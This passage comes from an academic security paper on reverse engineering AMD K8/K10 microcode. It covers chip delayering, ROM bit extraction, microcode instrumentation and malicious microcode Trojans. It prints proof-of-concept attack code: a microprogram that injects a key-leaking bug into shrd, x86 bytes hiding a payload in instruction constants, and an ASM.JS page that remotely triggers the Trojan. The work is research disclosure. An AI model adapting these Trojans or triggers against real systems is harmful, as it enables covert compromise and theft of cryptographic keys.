to be stored in a cell array architecture. Other mem-
ory types to implement microcode ROM, such as flash,
Electrically Erasable Programmable Read-only Mem-
ory (EEPROM), and RAM, are either too slow, unnec-
essarily large, or volatile.
Note that the general die structure is almost identical to
the die shot provided in [21], which helped our initial anal-
ysis identify our Region Of Interest (ROI), the microcode
ROM.

6.1 Delayering

After removing the heat sink with a drill, we fully decap-
sulated the die with fuming nitric acid [46]. In order to
visualize the ROM array, we delayered (e.g., removed in-
dividual stacked layers) from the top of the die. The main
challenge during delayering is to uniformly skim planar
surfaces parallel to the individual layers. Typically, the
delayering process alternates between removing a layer
and imaging the layer beneath it [46]. Focusing on our
ROI, we were able to neglect other areas of the chip re-
sulting in a more planar surface in important region(s).
Note that hardware reverse engineering of the whole CPU
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microarchitecture would require a more controlled delay-
ering process and several months to acquire and process
the whole layout. The interested reader is referred to our
die shot in Figure 3 in the Appendix.

In order to remove layers, we used a combined ap-
proach of Chemical Mechanical Polishing (CMP) and
plasma etching. During inspection of the seventh layer,
we encountered the expected ROM array structure. We
acquired images of individual layers using a Scanning
Electron Microscope (SEM) since optical microscopy
reaches diffraction limits at this structure size. Compared
to colored and more transparent images from optical mi-
croscopy, SEM images only provide a gray-scale channel,
but with higher magnification. In SEM images, different
materials can be identified due to brightness yield.

We encountered multiple regular NOR ROM arrays
using contact layer (vias) for programming. In NOR
ROM with active layer programming, the logic state is
encoded by the presence or absence of a transistor [52].
In our case an advanced bitline-folding architecture [31]
encodes the logic state by either placing a via on the right
or the left bitline. Note another property of this ROM type
is that only a single via may be set at any time; setting
both will result in a short circuit.

Overall, we identified three ROM blocks consisting of 8
subarrays. Each of the 3 ROM blocks has the capability to
store 30 kB. Note that our results match the visible blocks
in [21]. It is important to note that the vias’ positions
are hardwired and cannot be changed after shipping. The
only possible way to patch bugs in the ROM is to employ
the microcode update procedure described in Section 3.3.

6.2 Microcode Extraction

In Figure 2, we highlighted how bits are programmed
by this memory type. Bright spots represent a via going
down from a metal line, which is either connected to GND
or VCC. We chose to represent the individual cells as set
to logical ’1’ if the left via was set and ’0’ if the right one
was set. This convention does not necessarily correspond
to the correct runtime interpretation. However, permuta-
tions are commonly applied to the ROM memory, hence a
misinterpretation can be corrected in a later analysis step.

In order to analyze the microcode ROM bits for any
permutations, we processed the acquired SEM images
with rompar [7]. Using its image processing capabilities,
we transformed the optical via positions into bit values.

Microcode ROM Bit Analysis. In order to group the
bit values into microinstructions, we carefully analyzed
the ROM structure and we made two crucial observations:
(1) Each alternating column of bits is inverted due to
mirroring of existing cells, which saves space on the die.
(2) Since the memory type employs a transposed bitline

Figure 2: Partially interpreted bits in one ROM subarray.

architecture [31], the bit inversion has to be adjusted to
each segment.

With both observations in mind, we were able to derive
microinstructions from the images. Note that we also had
to interleave the subarrays respectively to acquire 64 bits
(size of a microinstruction) per memory row. Hence, the
ROM allows us to find more complex microinstructions
and experimentally reverse engineer their meaning.

7 Microprograms

In this section, we demonstrate the effectiveness of our re-
verse engineering effort by presenting microprograms that
successfully augment existing x86 instructions and add
foreign logic. With this paper, we also publish microcode
patches [42] that are compiled from scratch and run on
unmodified AMD CPUs, namely K8 Sempron 3100+ and
K10 Athlon II X2 260/280. We found that the microcode
ROM content varies between different processors, but the
macroinstruction entry points into the microcode ROM
are constant. Thus we assume our microcode patches are
compatible with a wider range of K8/K10-based CPUs.
We discuss additional applications of microcode in Sec-
tion 8.

7.1 Instrumentation
Instrumentation monitors the execution of a program and
may produce metadata or instruction traces. It is used
by program analysis, system defenses, antivirus software,
and performance optimization during software develop-
ment. It has been proven challenging to implement perfor-
mant instrumentation for COTS binaries. Several mech-
anisms exist such as function hooking, binary rewriting,
virtual machine introspection, and in-place emulation.
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However, they come with drawbacks such as coarse gran-
ularity, uncertain coverage, and high performance over-
head. An instrumentation framework with CPU support
based on microcode may evade many of the disadvantages.
It should be noted that microcode also has limitations
such as only 8 match registers. Currently we can only
intercept vector path x86 instructions and the hooks are
machine-wide, i.e., not limited to one user-space process.
For demonstration purposes we implemented a simple
instrumentation that counts the occurrences of the div
instruction during execution. See Listing 1 for a high-
level representation of the instrumentation logic; we refer
the interested reader to Listing 7 in Appendix A.3 for a
detailed RTL implementation.

if (esi == magic) {
temp = dword [edi]
temp += 1
dword [edi] = temp

}

Listing 1: High-level description of the instrumentation
logic implemented in microcode that counts the div
instructions during execution.

7.2 Remote Microcode Attacks

Executing microcode Trojans is not limited to a local at-
tacker. An injected microcode hook may lie dormant
within a vector path macroinstruction, such as a div
reg32, and it is triggered as soon as a specific trig-
ger condition is met within an attacker-controlled web
page. This is possible due to Just-in-Time (JIT) and
Ahead-of-Time (AOT) compilers embedded in modern
web browsers. They allow to emit specific machine code
instructions only utilizing JavaScript (JS). Consider a
microcode Trojan for the div instruction. We provide a
high-level description of the Trojan logic in Listing 2.

if (eax == A && ebx == B)
eip = eip + 1

Listing 2: High-level description of the microcode
Trojan implemented in microcode that increments the
eip to execute x86 instructions in a disaligned fashion.

If a div ebx instruction is executed while eax con-
tains the value A (dividend) and ebx contains the value
B (divisor), then the instruction pointer eip is in-
creased, and execution continues in a misaligned way
after the first byte of the instruction following the
div ebx instruction. If the trigger condition is not
met, the division is executed as expected. Hence, le-
gitimate machine instructions as shown in Listing 3

may be misused to hide and execute arbitrary code.

B8 0A000000 mov eax , 0xA
BB 0B000000 mov ebx , 0xB
F7F3 div ebx
05 909090 CC add eax , 0xCC909090

Listing 3: x86 machine code to trigger the div Trojan
in Listing 2.

Due to the microcode Trojan within div ebx, which
is triggered when the condition eax == A && ebx == B
is met, the instruction following the division is executed
starting at its second byte (Listing 4).

B8 0A000000 mov eax , 0xA
BB 0B000000 mov ebx , 0xB
F7F3 div ebx
05 /* SKIPPED */
90 nop
90 nop
90 nop
CC int3

Listing 4: x86 hidden payload executed due to the
triggered microcode Trojan.

As shown in Listing 4, the hidden nop and int3 instruc-
tions within the constant value of the add instruction are
executed instead of the legitimate add itself. Note that
many add instructions can be used to hide an arbitrary
payload (i.e., execve()) instead of nop and int3.

We were able to emit appropriate machine code in-
structions using the ASM.JS subset of the JS language
in Mozilla Firefox 50. ASM.JS compiles a web page’s
JS code before it is actually transformed into native ma-
chine code. We hide our payload within four-byte JS
constants of legitimate instructions similar to previous
JIT Spraying attacks [12, 51]. Since we also control the
dividend and divisor of the division, we eventually trigger
the microcode Trojan in the div instruction, which in turn
starts to execute our payload. Thus, we achieved to re-
motely activate the microcode hook and use it to execute
remotely controlled machine code. We refer the interested
reader to the ASM.JS code in Listing 9 in Appendix A.4.
While usually constant blinding is used in JIT compilers
to prevent the injection of valid machine code into JS con-
stants, recent research has shown that browsers such as
Microsoft Edge or Google Chrome fail to blind constants
in certain cases [38]. Hence, we assume that remotely
triggering a microcode Trojan and executing hidden code
within other browsers (i.e., Edge or Chrome) is possible,
too.

7.3 Cryptographic Microcode Trojans
In order to demonstrate further severe consequences of
microcode Trojans, we detail how such Trojans facili-
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tate implementation attacks on cryptographic algorithms.
More precisely, we present how microcode Trojans en-
able both (1) a bug attack (representative for Fault Injec-
tion (FI) [13]) and (2) a timing attack for Side-Channel
Analysis (SCA) [34].

7.3.1 Preliminaries and Goal

Elliptic Curve Cryptography (ECC) has become the preva-
lent public-key cryptographic primitive in real-world sys-
tems. In particular, numerous cryptographic libraries, e.g.,
OpenSSL and libsodium, employ Curve25519 [10]. Note
that the critical scalar multiplication is generally imple-
mented through a Montgomery ladder whose execution is
expected to be constant time, see RFC7748 [1].

Bug Attack. Bug attacks [9, 11] are associated with
FI; however, they are conceptionally distinct. While FI
mainly considers faults injected by an adversary, bug
attacks rely on inherent computation bugs [47] and do
neither suppose environmental tampering nor physical
presence.

Timing Attack. Timing attacks [34] against crypto-
graphic implementations are based on careful analysis of
their execution time [14, 57]. Nowadays most libraries
employ constant-time implementations as an effective
countermeasure.

Our goal for each attack is to enable disclosure of the
private key from ECDH key exchange. In order to realize
microcode Trojans which facilitate such attacks, we have
to arm a microcoded x86 instruction (used in scalar mul-
tiplication) with (1) an input-dependent trigger and (2) a
payload inducing a conditional fault or additional time,
see Listing 5.

if (regmd == A)
regmd = regmd + C

Listing 5: High-level microcode Trojan description
within an x86 instruction to trigger a conditional bug
using the first operand (regmd) of the x86 instruction
and the immediate constants A and C.

7.3.2 Implementation

For both attacks, we use the constant-time ECC reference
implementation from libsodium [35] compiled for 32-bit
architectures. Since Curve25519 employs reduced-degree
reduced-coefficient polynomials for arithmetic and the
implementation uses 64-bit data types, the following C
code is compiled to assembly in Listing 6:

carry = (h + (i64) (1L << 25)) >> 26;

mov eax , dword [esp+0xd0]
add eax , 0x2000000
mov ebx , dword [esp+0xd4]
adc ebx , 0x0
shrd eax , ebx , 0x1a

Listing 6: x86 machine code implementing 64-bit right
shift using the shrd instruction.

This line of code processes internal (key-dependent)
data as well as adversary-controlled (public-key depen-
dent) data. We can remotely trigger the condition in the
microcoded shrd instruction to apply both the bug attack
and the timing attack. Note that in case of a timing-attack,
we conditionally execute several nop instructions to in-
duce a data-dependent timing difference.

For a detailed RTL implementation of the bug attack,
we refer the interested reader to Listing 8 in Appendix A.3.
We emphasize that the necessary primitives for bug at-
tacks and timing side channel attacks can be created via
microcode Trojans. This way, even state-of-the-art cryp-
tographic implementations can be undermined.

8 Discussion

8.1 Security Implications
We demonstrated that malware can be implemented in
microcode. Furthermore, malicious microcode updates
can be applied to unmodified K8 and K10-based AMD
CPUs. This poses a certain security risk. However, in a re-
alistic attack scenario, an adversary must overcome other
security measures. A remote attacker has to bypass ap-
plication and operating system isolation in order to apply
a microcode update. An attacker with system privileges
might as well leverage less complex mechanisms with
better persistence and stealth properties than microcode
malware. An attacker with physical access may be able
to embed a malicious microcode update into the BIOS
or UEFI, i.e., in an evil maid scenario [44]. However,
she has to overcome potential security measures such as
TPM or signing of the UEFI firmware. Physical access
also enables alternative attack vectors such as cloning
the entire disk, or in case of full disk encryption, tamper
with the MBR or bootloader. Other adversary models
to provide malicious microcode (either through updates
or directly in microcode ROM) become more realistic,
i.e., intelligence agencies or untrusted foundries. From
a hardware Trojan’s perspective [58], microcode Trojans
provide post-manufacturing versatility, which is indis-
pensable for the heterogeneity in operating systems and
applications running on general-purpose CPUs.

Even though AMD emphasizes that their chips are
secure [25], the microcode update scheme of K8 and K10
shows once more that security by obscurity is not reliable
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and proper encryption, authentication, and integrity have
to deployed.
It should be noted that attacks leveraging microcode will
be highly hardware-specific. Current AMD processors
employ strong cryptographic algorithms to protect the
microcode update mechanism [15]. Microcode and its
effects on system security for current CPUs are unknown
with no verifiable trust anchor. Both experts and users are
unable to examine microcode updates for (un)intentional
bugs.

8.2 Constructive Microcode Applications

We see great potential for constructive applications of
microcode in COTS CPUs. We already discussed that
microcode combines many advantages for binary instru-
mentation, see Section 7.1. This could aid program trac-
ing, bug finding, tainting, and other applications of dy-
namic program analysis. Furthermore, microcode could
boost the performance of existing system defenses. Mi-
crocode updates could also enable domain-specific in-
struction sets, e.g., special instructions that boost program
performance or trustworthy security measures (similar to
Intel SGX [17]).

Hence, the view on microcode and its detailed embed-
ding in the overall CPU architecture are a relevant topic
for future research.

8.3 Generality

In addition to x86 CISC CPUs from Intel, AMD, and
VIA, microcode is also used in CPUs based on RISC
methodologies. For example, reverse engineering of an
ARM1 processor [33] disclosed the presence of a decode
Programmable Logic Array (PLA) storing microinstruc-
tions. The Intel i960 used microcode to implement several
instructions [28]. Another noteworthy CPU is the EAL
7 certified AAMP7G by Rockwell Collins [19]. Its sepa-
ration kernel microcode to realize Multiple Independent
Levels of Security (MILS) is accompanied with a formal
proof.

8.4 Future Work

In future work we aim to further explore the microarchi-
tecture and its security implications on system security.
We want to highlight microcode capabilities and foster
the security and computer architecture communities to
incorporate this topic into their future research. We re-
quire further knowledge of implemented microarchitec-
tures and update mechanisms to address both attack- and
defense-driven research. For example, an open-source
CPU variant for the security community can lead to in-

strumentation frameworks and system defenses based on
performant microprograms.

9 Conclusion

In this paper we successfully changed the behavior of
common, general-purpose CPUs by modification of the
microcode. We provided an in-depth analysis of mi-
crocode and its update mechanism for AMD K8 and K10
architectures. In addition, we presented what can be ac-
complished with this technology: First, we showed that
augmenting existing instructions allows us to implement
CPU-assisted instrumentation, which can enable high-
performance defensive solutions in the future. Second,
we demonstrated that malicious microcode updates can
have security implications for software systems running
on the hardware.
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A Appendix

A.1 Microcode Specification
As explained in Section 5.1, we designed automated test
cases to record which locations of the microcode ROM
contain triads used to implement a certain x86 instruc-
tion. We then cleared the artefacts caused by our test
environment and combined the heat maps of all vector
path instructions. Table 4 shows an excerpt of the result.

ROM Address vector instruction
0x900 - 0x913 -
0x900 - 0x913 -
0x914 - 0x917 rep cmps mem8
0x918 - 0x95f -
0x960 mul mem16
0x961 idiv
0x962 mul reg16
0x963 -
0x964 imul mem16
0x965 bound
0x966 imul reg16
0x967 -
0x968 bts imm
0x969 - 0x971 -
0x972 - 0x973 div
0x974 - 0x975 -
0x976 - 0x977 idiv
0x978 -
0x979 - 0x97a idiv
0x97b - 0x9a7 -
0x9a8 btr imm
0x9a9 - 0x9ad -
0x9ae mfence
0x9af - 09ff -

Table 4: Truncated microcode ROM heat map.
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In Section 5.2 we presented the microcode instruction
set structure, which is one major result of our reverse
engineering effort. We found four operation classes that
separate operations of different domains. The operation
type determines the exact operation such as add or mul.
Our collection of operation types and their encodings are
listed in Table 5.

Op Class Mnem Encoding
RegOp add 000000000
RegOp or 000000001
RegOp adc 000000010
RegOp sbb 000000011
RegOp and 000000100
RegOp sub 000000101
RegOp xor 000000110
RegOp cmp 000000111
RegOp test 000001000
RegOp rll 000010000
RegOp rrl 000010001
RegOp sll 000010100
RegOp srl 000010101
RegOp mov 001100000
RegOp mul 001110000
RegOp imul 001110001
RegOp bswap 111000000
RegOp not 111110101
SpecOp writePC 001000000
SpecOp branchCC 0101CCCCC
LdOp ld 001111111
StOp st 101010000

Table 5: Collection of microcode operation types.

The microinstruction structure provides two dedicated
register fields. One additional register field can be un-
locked by enabling register mode, which replaces the
16-bit immediate field. The register fields can encode a
number of registers including x86 general-purpose reg-
isters and microcode registers. The microcode registers
cannot be accessed by x86 instructions. The contents
of the microcode registers are only persistent while one
macroinstruction is decoded. Most of the microcode regis-
ters serve as general-purpose space for immediate values.
However, special microcode registers exist that hold the
next decode program counter (pcd) or always read as zero
(zerod). We listed the microcode registers with mnemon-
ics and encoding in Table 6.

Size Encoding
00 01 10 11
al ax eax rax 000000
cl cx ecx rcx 000001
dl dx edx rdx 000010
bl bx ebx rbx 000011
ah sp esp rsp 000100
ch bp ebp rbp 000101
dh si esi rsi 000110
bh di edi rdi 000111
t1l t1w t1d t1q 001000
t2l t2w t2d t2q 001001
t3l t3w t3d t3q 001010
t4l t4w t4d t4q 001011
t1h t5w t5d t5q 001100
t2h t6w t6d t6q 001101
t3h t7w t7d t7q 001110
t4h t8w t8d t8q 001111
regmb regmw regmd regmq 101000
regb regw regd regq 101100
pcb pcw pcd pcq 111000
zerob zerow zerod zeroq 111111

Table 6: General-purpose and microcode register encod-
ings.

1178    26th USENIX Security Symposium USENIX Association



A.2 Hardware Analysis
In Section 6 we investigate the hardware of the AMD K8
Sempron 3100+. Hence, we decapsulated and backside-
thinned a die to obtain a high-level view of the CPU struc-
ture. The marked areas are adopted from [21], since they
show multiple similarities with our die shot in Figure 3.
Note that we focus on the microcode ROM (marked in
green) and neglect the rest of the chip.

Figure 3: Die shot of AMD K8 Sempron 3100+ with
different CPU parts. The image was taken with an optical
microscope with low magnification. The die is corrugated
due to a remaining thickness below 10 micrometers.

A.3 Microprograms
In Section 7.1 we present a constructive application of
microcode updates, namely program instrumentation. To
demonstrate the feasibility, we implemented a proof-of-
concept instrumentation that counts the occurrences of the
x86 instruction div during execution. It should be noted
that the current implementation has some drawbacks, such
as reserving two general-purpose registers to steer the in-
strumentation. However, this is not a fundamental limita-
tion but an engineering issue. The implementation of our
proof-of-concept instrumentation is given in Listing 7.

1 // set match register 0 to 0x7e5
2

3 .start 0x0
4 // load magic constant
5 mov t1d , 0x0042
6 sll t1d , 16
7 add t1d , 0xf00d
8

9 // compare and condense
10 sub t1d , esi
11 srl t2d , t1d , 16
12 or t1d , t2d
13 srl t2d , t1d , 8
14 or t1d , t2d
15 srl t2d , t1d , 4
16 or t1d , t2d
17 srl t2d , t1d , 2
18 or t1d , t2d
19 srl t2d , t1d , 1
20 or t1d , t2d
21 and t1d , 0x1
22

23 // invert result
24 xor t1d , 0x1
25

26 // conditionally count
27 ld t2d , [edi]
28 add t2d , t1d
29 st [edi], t2d
30

31 .sw_branch 0x7e6

Listing 7: Microprogram that instruments the x86
instruction div and counts the occurrences.
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As explained in Section 7.3, we exploit the x86 shrd in-
struction to implement both the bug attack and the timing
attack. The bug attack in our RTL is shown in Listing 8.
Note that in order to hook the shrd instruction, we have
to set a match register to the address 0xaca. The magic
constant as well as the bug value added to the final com-
putation can be arbitrarily chosen.

1 // set match register 0 to 0xaca
2

3 .start 0x0
4 // load magic constant
5 mov t1d , 0x0042
6 sll t1d , 16
7 add t1d , 0xf00d
8

9 // compare and condense
10 sub t1d , esi
11 srl t2d , t1d , 16
12 or t1d , t2d
13 srl t2d , t1d , 8
14 or t1d , t2d
15 srl t2d , t1d , 4
16 or t1d , t2d
17 srl t2d , t1d , 2
18 or t1d , t2d
19 srl t2d , t1d , 1
20 or t1d , t2d
21 and t1d , 0x1
22

23 // invert result
24 xor t1d , 0x1
25

26 // read immediate
27 sub t2d , pcd , 0x1
28 ld t2d , [t2d]
29 and t2d , 0xff
30

31 // implement semantics of shrd
32 srl regmd4 , t2d
33 mov t3d , 32
34 sub t3d , t2d
35 sll t2d , regmd6 , t3d
36 or regmd4 , t2d
37

38 // conditionally insert bug
39 add regmd4 , t1d
40

41 .sw_complete

Listing 8: Microprogram that intercepts the x86
instruction shrd and inserts a bug that can be
leveraged for a bug attack.

A.4 Using ASM.JS to remotely trigger a
x86 div microcode Trojan

As explained in Section 7.2, we use ASM.JS code in
Firefox 50 to trigger the implemented x86 div Trojan.
It is shown in Listing 9. Instead of using nop and int3
instructions, arbitrary payloads can be implemented. For
example, the attacker might deploy a remote shell as soon
as the microcode Trojan is triggered, which establishes a
connection to her remote control server.

1 <!DOCTYPE HTML >
2 <html >
3 <script >
4 /*
5 Firefox 50.0 32-bit on Linux
6 We use a non -weaponized payload. Instructions
7

8 offset: opcodes assembly
9 ======= ======= ========

10 0x00000000: 05909090 a8 add eax , 0xa8909090
11 0x00000005: 05909090 cc add eax , 0xcc909090
12

13 become a nop -sled with a breakpoint at the
14 end , if the first instruction is executed
15 from offset 1:
16

17 offset: opcodes assembly
18 ======= ======= ========
19 0x00000001: 90 nop
20 0x00000002: 90 nop
21 0x00000003: 90 nop
22 0x00000004: a805 test al, 5
23 0x00000006: 90 nop
24 0x00000007: 90 nop
25 0x00000008: 90 nop
26 0x00000009: cc int3
27 */
28 function generate_microcode_trigger (){
29 "use asm";
30 function exec_payload(dividend , divisor){
31 dividend = dividend |0;
32 divisor = divisor |0;
33 var val = 0;
34 /* div ebx */
35 val = ((dividend >>>0)/(divisor >>>0)) >>>0;
36 /* add eax , 0xA8909090 */
37 val = (val + 0xa8909090)|0;
38 /* add eax , 0xCC909090 */
39 val = (val + 0xcc909090)|0;
40 return val|0;
41 }
42 return exec_payload;
43 }
44

45 function main(){
46 /* trigger condition: */
47 /* dividend */
48 eax = 0xa1a2a3a4
49 /* divisor */
50 ebx = 0xb1b2b3b4
51

52 trigger_microcode_trojan =
generate_microcode_trigger ();

53 trigger_microcode_trojan(eax , ebx);
54 }
55 </script >
56 <body onload=main()>
57 </body >
58 </html >

Listing 9: ASM.JS code within a remote web page
which emits a div ebx instruction and an attacker-
controlled payload in Firefox 50.0.
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